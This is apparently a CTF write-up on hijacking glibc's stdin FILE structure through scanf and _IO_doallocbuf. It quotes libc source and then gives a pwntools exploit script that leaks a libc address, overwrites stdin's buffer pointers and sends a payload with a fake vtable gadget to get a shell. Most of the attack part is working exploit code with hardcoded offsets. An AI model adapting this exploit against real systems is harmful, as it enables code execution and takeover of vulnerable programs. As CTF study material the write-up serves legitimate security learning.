PWN IO getc discussion

When getc will make _IO_buf_base empty, go to _IO_doallocbuf when it is empty

scanf:
 if (fp->_IO_buf_base == NULL)
   {
     /* Maybe we already have a push back pointer.  */
     if (fp->_IO_save_base != NULL)
{
  free (fp->_IO_save_base);
  fp->_flags &= ~_IO_IN_BACKUP;
}
     _IO_doallocbuf (fp);
   }
 _IO_doallocbuf:
void_IO_doallocbuf (_IO_FILE *fp){  if (fp->_IO_buf_base) # How to input buffer is not empty, return directly    return;  
if (!(fp->_flags & _IO_UNBUFFERED) || fp->_mode > 0) #check flag
if (_IO_DOALLOCATE (fp) != EOF) ## call vtable function     return;  _
IO_setb (fp, fp->_shortbuf, fp->_shortbuf+1, 0);}
libc_hidden_def (_IO_doallocbuf)

_IO_doallocbuf:

Then trigger vtable to complete any hijacking, this question has a backdoor

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = './chall'
elf = ELF(binary)
libc = elf.libc

io = process(binary, aslr = 1)
#$io = remote('127.0.0.1', 30001)
context.log_level = 'debug'
context.arch = elf.arch


myu64 = lambda x: u64(x.ljust(8, b'\x00'))
ub_offset = 0x3c4b30
codebase = 0x555555554000

def menu(idx):
    # io.recvuntil('choice: ')
    io.sendline(str(idx))
    sleep(0.3)

def make(sz, d, idx=0):
    menu(1)
    io.recvuntil("size: ")
    io.sendline(str(sz))
    io.recvuntil("data: ")
    io.sendline(d)
    io.recvuntil("idx: ")
    io.sendline(str(idx))

def free(idx):
    menu(4)
    io.recvuntil("idx: ")
    io.sendline(str(idx))
make(0x500, 'a')
make(0x500, 'b', 1)
free(0)
make(0x500, '')

io.recvuntil("your buf: ")
libc_addr = myu64(io.recvn(6)) & ((1<<64) - 1 - 0xff)
if libc_addr & 0xf000 != 0:
    sys.exit(1)

stdin_addr = libc_addr - 0x160
libc_base = libc_addr - 0x219c00
print(hex(libc_addr))
print(hex(libc_base))

# lets overwrite the stdin->_IO_buf_base
#gdb.attach(io, 'pie breakpoint 0x15396\nc\n')
gdb.attach(io,"b _IO_doallocbuf\n")
pause()
menu(1)
io.recvuntil("size: ")
io.sendline(str(stdin_addr+0x38+2))
io.recvuntil("data: ")
io.sendline('a')
io.recvuntil("idx: ")

# use scanf to send payload
ptr_chk_guard_addr = libc_base - 0x2890 # this guy lies in the tls. not ld.so
gadget = 0x406320 
system = libc_base + 0x508f2
'''
scanf:
 if (fp->_IO_buf_base == NULL)
   {
     /* Maybe we already have a push back pointer.  */
     if (fp->_IO_save_base != NULL)
{
  free (fp->_IO_save_base);
  fp->_flags &= ~_IO_IN_BACKUP;
}
     _IO_doallocbuf (fp);
   }
 _IO_doallocbuf:
void_IO_doallocbuf (_IO_FILE *fp){  if (fp->_IO_buf_base) # How to input buffer is not empty, return directly return; 
if (!(fp->_flags & _IO_UNBUFFERED) || fp->_mode > 0) #check flag
if (_IO_DOALLOCATE (fp) != EOF) ## call vtable function      return;  _
IO_setb (fp, fp->_shortbuf, fp->_shortbuf+1, 0);}
libc_hidden_def (_IO_doallocbuf)

'''
fake_io = p32(0xfbad208b) + b';sh;'
#fake_io += p64(ptr_chk_guard_addr) + p64(ptr_chk_guard_addr + 8)
#fake_io += p64(ptr_chk_guard_addr + 8)
#fake_io += p64(ptr_chk_guard_addr) * 4
#fake_io += p64(ptr_chk_guard_addr + 8)
payload = b'\x00' * (0xa0-8-3)
payload += p64(gadget)  #vtable
#payload += b'\x00' * 0x200
#payload = payload.ljust(0xa70, b'\x00')
#payload += b'c' * 13 #+ fake_io
#payload = b'\x00' * 0x10

io.sendline(payload)
# io.recvuntil('choice: ')




io.interactive()